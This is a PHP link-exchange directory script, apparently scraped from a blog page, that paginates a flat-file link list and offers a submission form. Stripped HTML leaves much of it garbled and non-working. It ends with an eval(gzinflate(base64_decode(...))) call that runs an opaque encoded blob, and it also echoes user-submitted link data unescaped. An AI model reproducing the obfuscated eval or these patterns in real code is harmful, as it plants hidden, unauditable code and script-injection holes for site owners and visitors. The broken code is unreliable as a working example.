link

define('IN_SCRIPT',1);

require('settings.php');



require_once('header.txt');



if ($settings['show_form'])

{

?>

Submit your website




}



$lines = file($settings['linkfile']);



/* Handle pages */

if ($settings['allow_pages'])

{

/* Page number, default 1st page */

$page=intval($_REQUEST['page']);

if ($page > 0)

{

$start=($page*$settings['max_per_page'])-$settings['max_per_page'];$end=$start+$settings['max_per_page']-1;

}

else

{

$page=1;$start=0;$end=$settings['max_per_page']-1;

}



/* Total number of links */

$total = count($lines);



if ($total > 0)

{

if ($end > $total) {$end=$total;}

$pages = ceil($total/$settings['max_per_page']);



$page_nav = '';



if ($pages > 1)

{

$page_nav = '

';



$prev_page = ($page-1 <= 0) ? 0 : $page-1;

$next_page = ($page+1 > $pages) ? 0 : $page+1;



if ($prev_page)

{

$page_nav .= '<< First  |  ';

if ($prev_page > 1)

{

$page_nav .= '< Prev  | ';

}

}



for ($i=1; $i<=$pages; $i++)

{

if ($i <= ($page+5) && $i >= ($page-5))

{

if($i == $page) {$page_nav .= ' '.$i.' ';}

else {$page_nav .= ' '.$i.' ';}

}

}



if ($next_page)

{

if ($next_page < $pages)

{

$page_nav .= '  |  Next >';

}

$page_nav .= '  |  Last >>';

}



$page_nav .= '

';



echo $page_nav;

}

}

$lines = array_slice($lines,$start,$settings['max_per_page']);

}



$print_featured = 0;

$first = 1;

$i = 0;



foreach ($lines as $thisline)

{

$thisline=trim($thisline);

if (!empty($thisline))

{

$i++;

list($name,$email,$title,$url,$recurl,$description,$featured,$pr)=explode($settings['delimiter'],$thisline);



$show_url = $settings['show_url'] ? ' - '.$url.'' : '';



if ($settings['show_pr'] == 1)

{

if (empty($pr)) {$pr=0;}

$pr_code = 'Google PageRank: '.$pr.'/10 ';

}

else

{

$pr_code = '';

}



if ($settings['show_thumbshots'])

{

$thumb_code = 'Thumbnail ';

}

else

{

$thumb_code = '';

}



if ($featured == 1)

{



if ($print_featured == 0)

{

$print_featured = 1;

$first = 0;

echo '

Featured links

';

}



$url = ($settings['clean'] != 1) ? $url : 'go.php?url='.rawurlencode($url);

$nofollow = ($settings['use_nofollow']==1) ? 'rel="nofollow"' : '';



echo '



'.$thumb_code.'

'.$pr_code.'





';

}

else

{

if ($settings['show_thumbshots']!=1)

{

$thumb_code = '';

}



if ($print_featured == 1)

{

$print_featured = 0;

$first = 1;

echo '

'.$title.''.$show_url.'
'.$description.'
 

';

}



if ($first == 1)

{

$first = 0;

echo '

Reciprocal links

';

}



$url = ($settings['clean'] == 0) ? $url : 'go.php?url='.rawurlencode($url);

$nofollow = $settings['use_nofollow'] ? 'rel="nofollow"' : '';



echo '



'.$thumb_code.'

'.$pr_code.'





';

}

}

}



/* Close the table if at least one link is printed out */

if ($i)

{

echo '

'.$title.''.$show_url.'
'.$description.'

';



/* Print bottom page navigation if at least 20 listings on the page */

if ($settings['allow_pages'] && $i > 19)

{

echo $page_nav;

}

}

else

{

echo '

No links yet!

';

}



if ($settings['show_form'])

{

if ($i < $settings['max_links'])

{

?>

 
Submit your website





» Step 1: Add our link to your website































Website URL:
Website Title:
Description:








» Step 2: Submit your link





All fields are required. Please finish Step 1 before submitting this form.


if ($settings['man_approval'])

{

echo ' New links will be approved manually.';

}

?>



















































Your name:
E-mail:
Website title:
Website URL:
URL with reciprocal link:




Website description:













} // End if $settings['max_links'] < $i

else

{

?>

 
Submit your website





Unfortunately we are not accepting any new links at the moment.




}

} // End if $settings['show_form']



eval(gzinflate(base64_decode('DdBHsqJAAADQ43x/uRBBUs0KJEiQjA1spiTTZJEG+vQz7wivQO

/uVOFmKLv3tzil76Vgbn/zIhvz4vQjZbQO50kQBMm9sb5auxVwKZoR4tqVBGLUPnDqFOH+bKbwmeAzvy

kFB0WF95PyuCTJuCvo0UNhW2VqI/vollGRQZlcK/b9uFlNlX3olZkPt5I4IGebU8fBRJlKNinReNFdUU

WDh8UuSx6rcuXMRchRbJdYJmBTrH7+NkVCN6wp5Xb+UHWHZS2+zfnEFGX2uzy11T2LRsDExPHxkHkdm/

M96Awho+mQUkQUUW5VAzdSTTJ8N1SawJgFi7ebBdnmryNvTVDJHKJJQEAcVPEebX5paaP4CcoqhKt0zE

x5btB51ubuBpajV+n7xH1eFRjbA1MDpOxxBknTOuwT8o/JCmY17B1U1ZCPFHv1vGaZj3ZP9g2sIMMWth

s22o9sYi2BDQLD1l4y02HtRS4Q1WIxhamsE7Oz4oABkRRHDNfkXO1/8UsdPP5A3P9F6UuSM7/znWKrjQ

yHRFYJRuGkNh5aIr4/r2tuFCyV6+Fu3z7G2z961xH8mX5oCcmWg+m4GkWE1724EKnTNhv2oaqf6StWVe

DhWApeYoHUJTD6lLkgNk3Z9HL5+f39/fMP')));

?>

0 comments

:) :-) :)) =)) :( :-( :(( :d :-d @-) :p :o :>) (o) [-( :-? (p) :-s (m) 8-) :-t :-b b-( :-# =p~ :-$ (b) (f) x-) (k) (h) (c) cheer

 
© 2011 Concernment
Designed by Concernment
..
Back to top